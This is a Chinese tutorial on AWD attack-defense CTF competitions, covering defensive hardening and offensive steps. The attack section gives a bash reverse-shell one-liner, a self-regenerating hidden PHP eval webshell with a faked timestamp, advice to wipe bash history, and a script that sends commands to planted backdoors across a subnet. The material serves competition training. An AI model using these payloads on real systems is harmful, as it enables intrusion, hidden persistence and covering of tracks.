網(wǎng)站首頁 編程語言 正文
引文
AWD賽制是一種網(wǎng)絡安全競賽的賽制。AWD賽制由安全競賽專家及行業(yè)專家憑借十多年實戰(zhàn)經驗,將真實網(wǎng)絡安全防護設備設施加入抽象的網(wǎng)絡環(huán)境中,模擬、企業(yè)、院校等單位的典型網(wǎng)絡結構和配置,開展的一種人人對抗的競賽方式,考驗參賽者攻防兼?zhèn)涞哪芰Α?/p>
其主要特點為:強調實戰(zhàn)性、實時性、對抗性,綜合考量競賽隊的滲透能力和防護能力。本文就個人經驗來講一下AWD比賽中需要做的事。
站點部署
比賽開始時我們會分配到一個至多個靶機,通常是分配給我們ssh 用戶名和密碼還有虛擬ip等信息,我們需要自己去連接靶機。個人推薦使用xshell搭配xftp來使用,當我們連接靶機之后要做什么呢。
dump源碼
比賽開始第一件事,dump網(wǎng)站源碼,使用ssh工具保留源碼,復制兩份,用d盾去掃一份,因為當我們靶機受到攻擊時對手可能直接刪除我們的源碼導致靶機DOWN機,而通常比賽中主辦方會在源碼中留有一些后門,我們用D盾去掃描一下來進行修復和攻擊。
數(shù)據(jù)庫備份
我們登錄數(shù)據(jù)庫來進行備份,當數(shù)據(jù)被刪除時可以使用命令快速還原。
mysqldump -u db_user -p db_passwd db_name > 1.sql //備份指定數(shù)據(jù)庫
還原命令:
mysql -u db_user -p db_passwd db_name < 1.sql //還原指定數(shù)據(jù)庫
修改密碼
當主辦方給我們的連接密碼過于簡單時,不排除對手先登錄我們靶機來進行破壞,于是我們要快速修改弱口令密碼。
linux修改ssh即本地密碼:
passwd
修改mysql登錄密碼:
mysql>set password for root@localhost =password('xino');
關閉不必要端口
一些端口會存在漏洞,為了保證安全我們關閉一些不必要的端口來進行維護:
部署WAF
WAF是用來分析阻擋對手攻擊的工具它可以分析流量,別人攻擊我們的時候,我們可以看到別人的攻擊方式。當沒有攻擊思路時我們就可以分析流量,使用別人的攻擊方式。 部署方式如下:
每個文件前邊加:
require_once(waf.php);
為了方便我們可以修改php.ini配置文件,來自動給當前文件夾下文件頭部添加:
auto_prepend_file=<filename>;
攻擊(ATTACK)
當我們部署完自己的靶機確認沒有漏洞后,我們便可以嘗試攻擊別人機器了。
弱口令
當發(fā)現(xiàn)靶機存在弱口令后,我們就可以遍歷IP地址來查詢存活的機器來自動連接查找FLAG,或者在受害者靶機里植入后門文件來維持我們的控制。
自帶后門
通常靶機會有自帶的后門木馬,我們知道路徑后便可以寫一個腳本批量連接來提交FLAG。
nmap
掃描C段存活主機:
.\nmap xxx.xxx.xxx.xxx/24
保存為TXT文件以便于之后編寫腳本去攻擊。
WEB攻擊
舉幾個比較常見的WEB攻擊方式:
文件讀取,偽協(xié)議方式讀取flag
文件上傳,繞過黑白名單上傳一句話,用工具連接查找flag
命令執(zhí)行,通過system等函數(shù)來遍歷文件
SQL注入,尋找注入點注出flag
當我們找到上面漏洞后,盡量去寫一個腳本來自動提交flag,之后再去尋找其他漏洞。
寫入木馬
因為AWD賽制是回合制,所以我們要想保持長時間穩(wěn)定上分就要時刻控制別人靶機,也就是要傳入木馬但又不能被對手發(fā)現(xiàn),下面列舉幾個權限維持的小技巧。
bash反彈shell
利用預留后門上傳上面的php文件并訪問,就可以用nc反彈shell,nc反彈shell命令如下:
bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
nc -l -p 8080
注意: 使用bash命令,會在root目錄生成名為~/.bash_history的記錄文件,我們要清除來消除威脅。
不死馬
一個簡單的不死馬:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-10-21 04:17:18" .config.php');
usleep(5000);
}
?>
不死馬的作用就是將該php文件上傳到服務器,然后進行訪問,會在該路徑下循環(huán)生成名字為.config.php的不死馬隱藏文件。以此來達到權限維持。
提交腳本
比賽中可能會有幾十臺靶機,盡管我們知道了如何攻擊,但一個一個打似乎有一些太慢了,所以這時我們要利用腳本去批量提交解放雙手。這里就在網(wǎng)上找了幾個常用的:
預留后門利用腳本:
import requests
url_head="http://xxx.xx.xxx." #網(wǎng)段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx" #木馬密碼
port="80"
payload = {passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):
url=url_head+str(i)+":"+port+shell_addr
try:
res=requests.post(url,payload,timeout=1)
if res.status_code == requests.codes.ok:
result = url+" connect shell sucess,flag is "+res.text
print result
print >>flag,result
print >>webshelllist,url+","+passwd
else:
print "shell 404"
except:
print url+" connect shell fail"
webshelllist.close()
flag.close()
批量提交flag腳本(需根據(jù)要求自行修改):
import sys
import json
import urllib
import httplib
server_host = ' ' #提交flag的服務器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag wrong')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({ #提交需要post的參數(shù),根據(jù)情況修改
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencode"
}
conn.request('POST', '[submit_flag_dir]', params, headers) #第二個參數(shù)為提交flag的目錄
response = conn.getresponse()
data = response.read()
return json.loads(data)
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py [team_token] [flag]'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
防御(DEFENSE)
既然有攻擊那么也需要防御別人的攻擊,上面其實已經講了一些防御的技巧了,比如修改弱口令,上傳WAF等,這里就簡單總結一下其他常用的知識吧。
查找flag的位置
find / -name *flag*
查找password
find .|xargs grep "password"
查看以建立的連接和進程
netstat -antulp | grep EST
結束進程
kill PID
killall <進程名>
檢測TCP連接數(shù)量
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
chattr命令防止系統(tǒng)中某個關鍵文件被修改
chattr +i /etc/resolv.conf
流量監(jiān)控
當別人訪問我們靶機時請求的URL可能就是攻擊的payload,我們如果知道他們的請求就可以利用他們的手段來反打過去,這個基于流量監(jiān)控來實現(xiàn),一個簡單的腳本如下:
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //記錄訪問者的ip
$filename = $_SERVER['PHP_SELF']; //訪問者要訪問的文件名
$parameter = $_SERVER["QUERY_STRING"]; //訪問者要請求的參數(shù)
$time = date('Y-m-d H:i:s',time()); //訪問時間
$logadd = '來訪時間:'.$time.'-->'.'訪問鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log記錄
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
結語
原文鏈接:https://juejin.cn/post/7157112833749024782
相關推薦
- 2023-01-18 Android?Admob接入原理及完整教程示例_Android
- 2022-10-13 Android自定義View實現(xiàn)QQ消息氣泡_Android
- 2022-09-15 Pycharm虛擬環(huán)境創(chuàng)建并使用命令行指定庫的版本進行安裝_python
- 2022-07-17 使用SQL語句實現(xiàn)查詢排序,順序和倒序_MsSql
- 2022-05-10 詳解CLR的內存分配和回收機制_C#教程
- 2023-01-29 Python?第三方庫?openpyxl?的安裝過程_python
- 2022-10-07 python?中pass和match使用方法_python
- 2022-03-15 線性表的順序存儲結構靜態(tài)分配C語言實現(xiàn)
- 最近更新
-
- window11 系統(tǒng)安裝 yarn
- 超詳細win安裝深度學習環(huán)境2025年最新版(
- Linux 中運行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎操作-- 運算符,流程控制 Flo
- 1. Int 和Integer 的區(qū)別,Jav
- spring @retryable不生效的一種
- Spring Security之認證信息的處理
- Spring Security之認證過濾器
- Spring Security概述快速入門
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權
- redisson分布式鎖中waittime的設
- maven:解決release錯誤:Artif
- restTemplate使用總結
- Spring Security之安全異常處理
- MybatisPlus優(yōu)雅實現(xiàn)加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務發(fā)現(xiàn)-Nac
- Spring Security之基于HttpR
- Redis 底層數(shù)據(jù)結構-簡單動態(tài)字符串(SD
- arthas操作spring被代理目標對象命令
- Spring中的單例模式應用詳解
- 聊聊消息隊列,發(fā)送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠程分支